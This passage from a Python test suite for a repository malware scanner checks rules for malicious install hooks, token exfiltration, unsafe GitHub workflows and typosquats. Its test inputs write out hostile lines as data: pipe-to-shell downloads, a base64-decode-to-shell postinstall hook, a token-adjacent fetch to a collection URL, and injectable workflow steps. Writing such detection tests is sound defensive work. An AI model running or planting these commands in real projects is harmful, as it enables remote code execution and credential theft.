http://example.invalid/x.sh | sh", + "IWR -Uri http://example.invalid/x.sh | iex", + "Invoke-WebRequest http://example.invalid/x.sh | powershell", + "WGET http://example.invalid/x.sh | bash", + ): + self.assert_task_fires(command) + + +class TestHookRuleRobustness(unittest.TestCase): + def test_malformed_json_rule_returns_empty(self): + self.assertEqual( + scan_mod.rule_hook_malicious_script("package.json", '{"scripts":'), [] + ) + + def test_malformed_json_scan_text_does_not_raise(self): + self.assertEqual(scan_mod.scan_text("package.json", '{"scripts":'), []) + + def test_deeply_nested_json_rule_returns_empty(self): + text = "[" * 200000 + "]" * 200000 + self.assertEqual(scan_mod.rule_hook_malicious_script("package.json", text), []) + + def test_deeply_nested_json_scan_text_does_not_raise(self): + text = "[" * 200000 + "]" * 200000 + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + def test_hook_finding_reports_hook_key_line(self): + text = ( + "{\n" + ' "name": "x",\n' + ' "scripts": {\n' + ' "build": "tsc",\n' + ' "postinstall": "node -e doEvil()"\n' + " }\n" + "}\n" + ) + found = scan_mod.scan_text("package.json", text) + hits = [f for f in found if f.rule == "HOOK-MALICIOUS-SCRIPT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].line, 5) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_hook_base64_decode_flag_fires(self): + text = '{"scripts": {"postinstall": "base64 -d payload.txt | sh"}}\n' + found = scan_mod.scan_text("package.json", text) + hits = [f for f in found if f.rule == "HOOK-MALICIOUS-SCRIPT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_hook_base64_delete_flag_silent(self): + text = '{"scripts": {"postinstall": "base64 -delete stale.txt"}}\n' + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + def test_non_lifecycle_test_script_with_curl_pipe_sh_silent(self): + text = '{"scripts": {"test": "curl -s http://example.invalid/p | sh"}}\n' + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + +class TestExfilWindow(unittest.TestCase): + TOKEN = "const t = process.env.GITHUB_TOKEN;\n" + EXFIL = 'fetch("http://example.invalid/collect");\n' + + def test_exfil_five_lines_below_token_fires(self): + text = self.TOKEN + "\n" * 4 + self.EXFIL + self.assertIn( + "STEAL-TOKEN-EXFIL", {f.rule for f in scan_mod.scan_text("probe.js", text)} + ) + + def test_exfil_six_lines_below_token_silent(self): + text = self.TOKEN + "\n" * 5 + self.EXFIL + self.assertEqual(scan_mod.scan_text("probe.js", text), []) + + def test_exfil_five_lines_above_token_fires(self): + text = self.EXFIL + "\n" * 4 + self.TOKEN + self.assertIn( + "STEAL-TOKEN-EXFIL", {f.rule for f in scan_mod.scan_text("probe.js", text)} + ) + + def test_exfil_six_lines_above_token_silent(self): + text = self.EXFIL + "\n" * 5 + self.TOKEN + self.assertEqual(scan_mod.scan_text("probe.js", text), []) + + +class TestWorkflowRules(unittest.TestCase): + def test_pwn_request_pattern(self): + p = FIXTURES / "malicious" / ".github" / "workflows" / "pwn-request.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + hits = [f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + self.assertEqual(hits[0].line, 2) + + def test_pwn_request_block_trigger_form(self): + text = ( + "name: x\n" + "on:\n" + " pull_request_target:\n" + " types: [opened]\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: actions/checkout@v4\n" + " with:\n" + " ref: ${{ github.event.pull_request.head.sha }}\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + self.assertEqual(hits[0].line, 3) + + def test_pull_request_target_without_head_checkout_is_warn(self): + text = ( + "name: x\n" + "on: pull_request_target\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: npm test\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + + def test_script_injection(self): + p = FIXTURES / "malicious" / ".github" / "workflows" / "injection.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + hits = [f for f in found if f.rule == "WF-SCRIPT-INJECTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].line, 8) + + def test_script_injection_single_line_run(self): + text = ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + ' - run: echo "Hello ${{ github.event.issue.title }}"\n' + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertIn("WF-SCRIPT-INJECTION", {f.rule for f in found}) + + def test_unpinned_action_with_secrets_is_block(self): + p = FIXTURES / "malicious" / ".github" / "workflows" / "unpinned-secrets.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_unpinned_action_without_secrets_is_warn(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: some/action@v1\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + + def test_pinned_workflow_clean(self): + p = FIXTURES / "benign" / ".github" / "workflows" / "workflow.yml" + self.assertEqual(scan_mod.scan_text(str(p), p.read_text()), []) + + +class TestWorkflowFalsePositives(unittest.TestCase): + def test_pwn_request_content_outside_workflows_not_flagged(self): + p = FIXTURES / "malicious" / ".github" / "workflows" / "pwn-request.yml" + for path in ("pwn-request.yml", "ci/pwn-request.yml"): + found = scan_mod.scan_text(path, p.read_text()) + self.assertEqual([f for f in found if f.rule.startswith("WF-")], [], path) + + def test_expression_in_yaml_comment_not_flagged(self): + text = ( + "name: x\n" + "on: issue_comment\n" + "# ${{ github.event.issue.title }}\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: echo ok\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-SCRIPT-INJECTION"], []) + + def test_expression_in_step_name_not_flagged(self): + for text in ( + ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - name: ${{ github.event.issue.title }}\n" + " run: echo ok\n" + ), + ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: echo ok\n" + " name: ${{ github.event.issue.title }}\n" + ), + ): + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual( + [f for f in found if f.rule == "WF-SCRIPT-INJECTION"], [], text + ) + + def test_sha_pinned_action_with_secrets_not_flagged(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " secrets: inherit\n" + " steps:\n" + " - uses: some/action@0123456789abcdef0123456789abcdef01234567\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-UNPINNED-ACTION"], []) + + def test_uses_looking_text_in_block_scalar_not_flagged(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: some/action@0123456789abcdef0123456789abcdef01234567\n" + " with:\n" + " config: |\n" + " uses: fake/action@v1\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-UNPINNED-ACTION"], []) + + def test_pull_request_target_nested_under_on_not_flagged(self): + text = ( + "name: x\n" + "on:\n" + " workflow_run:\n" + " workflows: [pull_request_target]\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: npm test\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"], []) + + def test_secrets_looking_text_in_block_scalar_does_not_escalate(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: some/action@v1\n" + " with:\n" + " script: |\n" + " secrets: not-a-real-declaration\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + + +class TestWorkflowReDoS(unittest.TestCase): + def test_200kb_unclosed_event_expr_run_block_scans_fast(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: |\n" + + (" ${{ github.event." + "x" * 64 + "\n") * 2500 + ) + self.assertGreaterEqual(len(text), 200_000) + t0 = time.monotonic() + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + elapsed = time.monotonic() - t0 + self.assertLess(elapsed, 2.0) + self.assertEqual(found, []) + + +class TestUnpinnedActionJobScope(unittest.TestCase): + @staticmethod + def unpinned_uses(name: str, ref: str = "v1") -> str: + return f" - uses: {name}@{ref}\n" + + def test_secrets_escalation_is_per_job(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " a:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + self.unpinned_uses("some/action") + + " b:\n" + " runs-on: ubuntu-latest\n" + " secrets: inherit\n" + " steps:\n" + + self.unpinned_uses("other/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = {(f.line, f.severity) for f in found if f.rule == "WF-UNPINNED-ACTION"} + self.assertIn((7, "WARN"), hits, found) + self.assertIn((12, "BLOCK"), hits, found) + + def test_workflow_call_secrets_definition_does_not_escalate(self): + text = ( + "name: x\n" + "on:\n" + " workflow_call:\n" + " secrets:\n" + " token:\n" + " required: true\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + self.unpinned_uses("some/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN", found) + + def test_quoted_secrets_key_escalates(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + ' "secrets": inherit\n' + " steps:\n" + + self.unpinned_uses("some/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK", found) + + def test_secrets_job_first_ordering(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " a:\n" + " runs-on: ubuntu-latest\n" + " secrets: inherit\n" + " steps:\n" + + self.unpinned_uses("some/action") + + " b:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + self.unpinned_uses("other/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = {(f.line, f.severity) for f in found if f.rule == "WF-UNPINNED-ACTION"} + self.assertIn((8, "BLOCK"), hits, found) + self.assertIn((12, "WARN"), hits, found) + + def test_env_key_named_secrets_does_not_escalate(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " env:\n" + " secrets: x\n" + " steps:\n" + + self.unpinned_uses("some/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN", found) + + +class TestShaPinningPrecision(unittest.TestCase): + HEX = "0123456789abcdef0123456789abcdef01234567" + + def pinned_uses(self, ref: str) -> str: + return ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + f" - uses: some/action@{ref}\n" + ) + + def assert_pin_silent(self, ref: str) -> None: + found = scan_mod.scan_text(".github/workflows/wf.yml", self.pinned_uses(ref)) + self.assertEqual( + [f for f in found if f.rule == "WF-UNPINNED-ACTION"], [], ref + ) + + def assert_pin_fires(self, ref: str) -> None: + found = scan_mod.scan_text(".github/workflows/wf.yml", self.pinned_uses(ref)) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1, ref) + self.assertEqual(hits[0].severity, "WARN", ref) + + def test_lowercase_sha_pin_silent(self): + self.assert_pin_silent(self.HEX) + + def test_uppercase_sha_pin_silent(self): + self.assert_pin_silent(self.HEX.upper()) + + def test_mixed_case_sha_pin_silent(self): + self.assert_pin_silent("0123456789ABCDEF0123456789abcdef01234567") + + def test_docker_digest_pin_silent(self): + self.assert_pin_silent("sha256:" + "a" * 64) + + def test_docker_digest_pin_uppercase_silent(self): + self.assert_pin_silent("sha256:" + "A" * 64) + + def test_sha_with_suffix_fires(self): + self.assert_pin_fires(self.HEX + "-abc") + + def test_sha_with_dot_suffix_fires(self): + self.assert_pin_fires(self.HEX + ".1") + + +class TestPrTargetCheckoutPrecision(unittest.TestCase): + def pr_target(self, *steps: str) -> str: + return ( + "name: x\n" + "on: pull_request_target\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + "".join(steps) + ) + + def pr_target_hits(self, text: str): + return [f for f in scan_mod.scan_text(".github/workflows/wf.yml", text) + if f.rule == "WF-PR-TARGET-CHECKOUT"] + + def test_head_ref_only_in_yaml_comment_is_warn(self): + for step in ( + " - run: npm test\n" + " # ${{ github.event.pull_request.head.sha }}\n", + " - run: npm test # ${{ github.head_ref }}\n", + ): + hits = self.pr_target_hits(self.pr_target(step)) + self.assertEqual(len(hits), 1, step) + self.assertEqual(hits[0].severity, "WARN", step) + + def test_head_ref_in_run_echo_without_checkout_is_warn(self): + text = self.pr_target(" - run: echo ${{ github.head_ref }}\n") + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + inj = [f for f in scan_mod.scan_text(".github/workflows/wf.yml", text) + if f.rule == "WF-SCRIPT-INJECTION"] + self.assertEqual(len(inj), 1) + self.assertEqual(inj[0].severity, "BLOCK") + + def test_nonqualifying_checkout_with_head_ref_elsewhere_is_warn(self): + text = self.pr_target( + " - uses: actions/checkout@0123456789abcdef0123456789abcdef01234567\n" + " - run: echo ${{ github.event.pull_request.head.sha }}\n", + ) + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + + def test_checkout_with_ref_head_sha_is_block(self): + text = self.pr_target( + " - uses: actions/checkout@v4\n" + " with:\n" + " ref: ${{ github.event.pull_request.head.sha }}\n", + ) + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_checkout_case_insensitive_with_head_ref_is_block(self): + text = self.pr_target( + " - uses: actions/Checkout@v4\n" + " with:\n" + " ref: ${{ github.event.pull_request.head.sha }}\n", + ) + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_checkout_with_head_ref_expr_is_block(self): + text = self.pr_target( + " - name: c\n" + " uses: actions/checkout@v4\n" + " with:\n" + " ref: ${{ github.head_ref }}\n", + ) + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + +class TestSuspicionRules(unittest.TestCase): + def test_high_entropy_warns(self): + p = FIXTURES / "malicious" / "entropy.js" + found = scan_mod.scan_text(str(p), p.read_text()) + ent = [f for f in found if f.rule == "SUSP-HIGH-ENTROPY"] + self.assertTrue(ent) + self.assertEqual(ent[0].severity, "WARN") + + def test_high_entropy_short_token_silent(self): + text = 'const x = "Ab3+/=Qz9";\n' + found = scan_mod.scan_text("short.js", text) + self.assertEqual( + [f for f in found if f.rule == "SUSP-HIGH-ENTROPY"], [] + ) + + def test_high_entropy_low_entropy_long_token_silent(self): + text = 'const x = "%s";\n' % ("A" * 120) + found = scan_mod.scan_text("flat.js", text) + self.assertEqual( + [f for f in found if f.rule == "SUSP-HIGH-ENTROPY"], [] + ) + + def test_typosquat_warns(self): + p = FIXTURES / "malicious" / "typosquat-package.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("SUSP-TYPOSQUAT", {f.rule for f in found}) + + def test_typosquat_reports_both_names_warn(self): + text = '{"name": "lodahs", "dependencies": {"expresss": "^4.0.0"}}\n' + found = scan_mod.scan_text("package.json", text) + hits = [f for f in found if f.rule == "SUSP-TYPOSQUAT"] + self.assertEqual(len(hits), 2, found) + self.assertTrue(all(f.severity == "WARN" for f in hits)) + msgs = " ".join(f.message for f in hits) + self.assertIn("lodahs", msgs) + self.assertIn("expresss", msgs) + + def test_typosquat_popular_name_silent(self): + text = '{"name": "express", "dependencies": {"express": "^4.0.0"}}\n' + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + def test_typosquat_short_name_length_diff_silent(self): + text = '{"name": "x", "dependencies": {"vitest": "^3.0.0"}}\n' + found = scan_mod.scan_text("package.json", text) + hits = [f for f in found if f.rule == "SUSP-TYPOSQUAT"] + self.assertEqual(hits, [], found) + pop = scan_mod.TYPOSQUAT_LIST.read_text(encoding="utf-8").splitlines() + self.assertTrue(any(ln.strip() == "vite" for ln in pop)) + + def test_typosquat_scoped_name_silent(self): + text = '{"name": "@types/node", "dependencies": {"@types/node": "^18.0.0"}}\n' + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + def test_typosquat_malformed_json_silent(self): + self.assertEqual(scan_mod.scan_text("package.json", '{"name":'), []) + + def test_typosquat_non_package_json_silent(self): + text = '{"name": "lodahs", "dependencies": {"expresss": "^4.0.0"}}\n' + self.assertEqual(scan_mod.scan_text("config.json", text), []) + + def test_decode_exec_warns(self): + p = FIXTURES / "malicious" / "decode-cmd.txt" + found = scan_mod.scan_text(str(p), p.read_text()) + hits = [f for f in found if f.rule == "SUSP-DECODE-COMMAND"] + self.assertTrue(hits, found) + self.assertEqual(hits[0].severity, "WARN") + self.assertEqual(hits[0].line, 2) + + def test_decode_powershell_enc_warns(self): + found = scan_mod.scan_text("run.ps1", "powershell -enc AAAA\n") + hits = [f for f in found if f.rule == "SUSP-DECODE-COMMAND"] + self.assertEqual(len(hits), 1, found) + self.assertEqual(hits[0].severity, "WARN") + + def test_decode_certutil_warns(self): + found = scan_mod.scan_text("run.bat", "certutil -decode x y\n") + hits = [f for f in found if f.rule == "SUSP-DECODE-COMMAND"] + self.assertEqual(len(hits), 1, found) + self.assertEqual(hits[0].severity, "WARN") + + def test_decode_benign_command_silent(self): + found = scan_mod.scan_text("run.sh", "npm test\n") + self.assertEqual( + [f for f in found if f.rule == "SUSP-DECODE-COMMAND"], [] + ) + + +class TestScriptInjectionBoundaries(unittest.TestCase): + def injection_hits(self, *steps: str): + text = ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + "".join(steps) + ) + return [f for f in scan_mod.scan_text(".github/workflows/wf.yml", text) + if f.rule == "WF-SCRIPT-INJECTION"] + + def test_trailing_yaml_comment_on_run_line_not_flagged(self): + hits = self.injection_hits( + " - run: echo ok # ${{ github.event.issue.title }}\n" + ) + self.assertEqual(hits, []) + + def test_block_scalar_header_comment_not_flagged(self): + hits = self.injection_hits( + " - run: | # ${{ github.event.issue.title }}\n" + " echo hi\n" + ) + self.assertEqual(hits, []) + + def test_with_input_named_run_not_flagged(self): + for step in ( + " - uses: some/action@0123456789abcdef0123456789abcdef01234567\n" + " with: {run: ${{ github.event.issue.title }}}\n", + " - uses: some/action@0123456789abcdef0123456789abcdef01234567\n" + " with:\n" + " run: ${{ github.event.issue.title }}\n", + ): + self.assertEqual(self.injection_hits(step), [], step) + + def test_shell_comment_inside_run_body_flagged(self): + hits = self.injection_hits( + " - run: |\n" + " echo ok # ${{ github.event.issue.title }}\n" + ) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_expression_inside_quotes_on_run_line_silent(self): + hits = self.injection_hits( + ' - run: echo "a # ${{ github.event.issue.title }}"\n' + ) + self.assertEqual(hits, []) + + def test_expression_in_quoted_value_on_run_line_flagged(self): + hits = self.injection_hits( + ' - run: "echo a # ${{ github.event.issue.title }}"\n' + ) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_env_key_named_run_not_flagged(self): + text = ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " env:\n" + " run: ${{ github.event.issue.title }}\n" + " steps:\n" + " - run: echo ok\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-SCRIPT-INJECTION"], []) + + def test_comment_and_blank_lines_inside_step_span(self): + text = ( + "name: x\n" + "on: pull_request_target\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: actions/checkout@v4\n" + " # comment\n" + "\n" + " with:\n" + " ref: ${{ github.event.pull_request.head.sha }}\n" + " - run: echo ok\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + +def _git_ok(root: Path, *args: str) -> subprocess.CompletedProcess: + return subprocess.run( + ["git", *args], cwd=root, capture_output=True, check=True, + ) + + +def _git_commit(root: Path, msg: str) -> None: + _git_ok( + root, "-c", "user.email=t@t", "-c", "user.name=t", + "-c", "commit.gpgsign=false", + "commit", "-qm", msg, + ) + + +class TestAnnotationsAndSummary(unittest.TestCase): + def test_render_annotations_exact_lines(self): + findings = [ + scan_mod.Finding("POLIN-CONFIG-APPEND", "BLOCK", "a.config.js", 12, "bad append"), + scan_mod.Finding("SUSP-TYPOSQUAT", "WARN", "package.json", 3, "maybe typo"), + ] + self.assertEqual( + scan_mod.render_annotations(findings), + [ + "::error file=a.config.js,line=12::[POLIN-CONFIG-APPEND] bad append", + "::warning file=package.json,line=3::[SUSP-TYPOSQUAT] maybe typo", + ], + ) + + def test_render_summary_counts_and_rotate(self): + findings = [ + scan_mod.Finding("STEAL-TOKEN-EXFIL", "BLOCK", "evil.js", 1, "exfil"), + scan_mod.Finding("SUSP-NEW-BINARY", "WARN", "blob.bin", 1, "binary"), + ] + summary = scan_mod.render_summary(findings, ["evil.js", "blob.bin"]) + self.assertIn("BLOCK: **1**", summary) + self.assertIn("WARN: **1**", summary) + self.assertIn("rotate", summary.lower()) + self.assertIn("## Incident response", summary) + self.assertIn("evil.js:1 STEAL-TOKEN-EXFIL", summary) + + def test_render_summary_no_block_omits_incident_response(self): + findings = [scan_mod.Finding("SUSP-TYPOSQUAT", "WARN", "package.json", 1, "m")] + summary = scan_mod.render_summary(findings, ["package.json"]) + self.assertIn("BLOCK: **0**", summary) + self.assertNotIn("## Incident response", summary) + self.assertIn("WARN: **1**", summary) + + def test_cli_annotations_with_json_file_on_stdout(self): + with tempfile.TemporaryDirectory() as td: + out = Path(td) / "out.json" + proc = run_scan( + "--paths", "src", "--annotations", "--json-out", str(out), + ) + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + self.assertEqual(proc.stdout.strip(), "") + json.loads(out.read_text(encoding="utf-8")) + + def test_cli_annotations_with_json_stdout_go_to_stderr(self): + proc = run_scan("--paths", "src", "--annotations", "--json-out", "-") + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + data = json.loads(proc.stdout) + self.assertIn("findings", data) + for line in proc.stderr.splitlines(): + if line.startswith("::"): + self.assertRegex(line, r"^::(error|warning) file=.+,line=\d+::\[") + + def test_cli_summary_file_written(self): + with tempfile.TemporaryDirectory() as td: + summary = Path(td) / "summary.md" + proc = run_scan( + "--paths", "src", "--summary", str(summary), "--json-out", + str(Path(td) / "out.json"), + ) + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + text = summary.read_text(encoding="utf-8") + self.assertIn("# Malware protection report", text) + self.assertIn("BLOCK:", text) + + def test_cli_exit_codes_unchanged_with_new_flags(self): + proc = run_scan( + "--paths", "does-not-exist", "--annotations", "--json-out", "-", + ) + self.assertEqual(proc.returncode, 2) + self.assertIn("scanner error", proc.stderr) + + +class TestAllowlist(unittest.TestCase): + def test_allowlist_suppresses_with_reason(self): + finding = scan_mod.Finding("POLIN-OBFUSCATED-JS", "BLOCK", "a.js", 1, "m") + allow = [{"rule": "POLIN-OBFUSCATED-JS", "path": "a.js", "reason": "test"}] + self.assertEqual(scan_mod.apply_allowlist([finding], allow), []) + + def test_allowlist_wildcard_rule_and_glob_path_suppress(self): + finding = scan_mod.Finding( + "STEAL-TOKEN-EXFIL", "BLOCK", "docs/compose/plans/x.md", 1, "m" + ) + allow = [{"rule": "*", "path": "docs/compose/*", "reason": "docs"}] + self.assertEqual(scan_mod.apply_allowlist([finding], allow), []) + + def test_allowlist_non_matching_entry_keeps_finding(self): + finding = scan_mod.Finding("POLIN-OBFUSCATED-JS", "BLOCK", "a.js", 1, "m") + allow = [{"rule": "POLIN-OBFUSCATED-JS", "path": "b.js", "reason": "x"}] + self.assertEqual(len(scan_mod.apply_allowlist([finding], allow)), 1) + + def test_load_allowlist_missing_reason_raises(self): + with tempfile.TemporaryDirectory() as td: + p = Path(td) / "allow.json" + p.write_text( + json.dumps({"allow": [{"rule": "*", "path": "x"}]}), + encoding="utf-8", + ) + with self.assertRaises(RuntimeError): + scan_mod.load_allowlist(p) + + def test_load_allowlist_valid_returns_entries(self): + with tempfile.TemporaryDirectory() as td: + p = Path(td) / "allow.json" + p.write_text( + json.dumps({"allow": [{"rule": "*", "path": "x", "reason": "r"}]}), + encoding="utf-8", + ) + self.assertEqual(len(scan_mod.load_allowlist(p)), 1) + + def test_shipped_allowlist_loads(self): + entries = scan_mod.load_allowlist( + REPO / "scripts" / "malware-scan" / "allowlist.json" + ) + self.assertTrue(entries) + self.assertTrue(all("reason" in e for e in entries)) + + +class TestGitChangedFiles(unittest.TestCase): + def test_lists_changed_files_between_revs(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "keep.js").write_text("const x = 1;\n", encoding="utf-8") + (root / "dirty.js").write_text( + 'const b = "' + "A" * 250 + '";\n', encoding="utf-8" + ) + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "keep.js") + _git_commit(root, "base") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "dirty.js") + _git_commit(root, "change") + files = scan_mod.git_changed_files(root, "HEAD~1", "HEAD") + self.assertEqual(files, ["dirty.js"]) + + +class TestDiffMode(unittest.TestCase): + @staticmethod + def _make_repo(root: Path) -> None: + (root / "clean.js").write_text("const ok = 1;\n", encoding="utf-8") + (root / "package.json").write_text( + json.dumps({"name": "demo-app", "dependencies": {"qs": "^6.0.0"}}), + encoding="utf-8", + ) + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "clean.js", "package.json") + _git_commit(root, "base") + (root / "bad.js").write_text( + 'const b = "' + "A" * 250 + '";\n', encoding="utf-8" + ) + (root / "package.json").write_text( + json.dumps({ + "name": "demo-app", + "dependencies": {"qs": "^6.0.0", "lodash": "^4.0.0"}, + }), + encoding="utf-8", + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "bad.js", "package.json") + _git_commit(root, "change") + + def test_diff_scan_reports_only_changed_files(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + self._make_repo(root) + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + paths = {f.path for f in findings} + self.assertIn("bad.js", paths, findings) + self.assertNotIn("clean.js", paths, findings) + hits = [f for f in findings if f.rule == "POLIN-OBFUSCATED-JS"] + self.assertTrue(any(f.path == "bad.js" for f in hits), findings) + self.assertIn("bad.js", scanned) + + def test_diff_new_dependency_warns_against_base(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + self._make_repo(root) + findings, _ = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "SUSP-NEW-DEPENDENCY"] + self.assertEqual(len(hits), 1, findings) + self.assertEqual(hits[0].severity, "WARN") + self.assertEqual(hits[0].path, "package.json") + self.assertIn("lodash", hits[0].message) + self.assertNotIn("'qs'", hits[0].message) + + def test_diff_new_file_package_json_flags_all_deps(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "a.txt").write_text("a\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "a.txt") + _git_commit(root, "base") + (root / "package.json").write_text( + json.dumps({"name": "demo-app", "dependencies": {"qs": "^6.0.0"}}), + encoding="utf-8", + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "package.json") + _git_commit(root, "add manifest") + findings, _ = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "SUSP-NEW-DEPENDENCY"] + self.assertEqual(len(hits), 1, findings) + self.assertIn("qs", hits[0].message) + + def 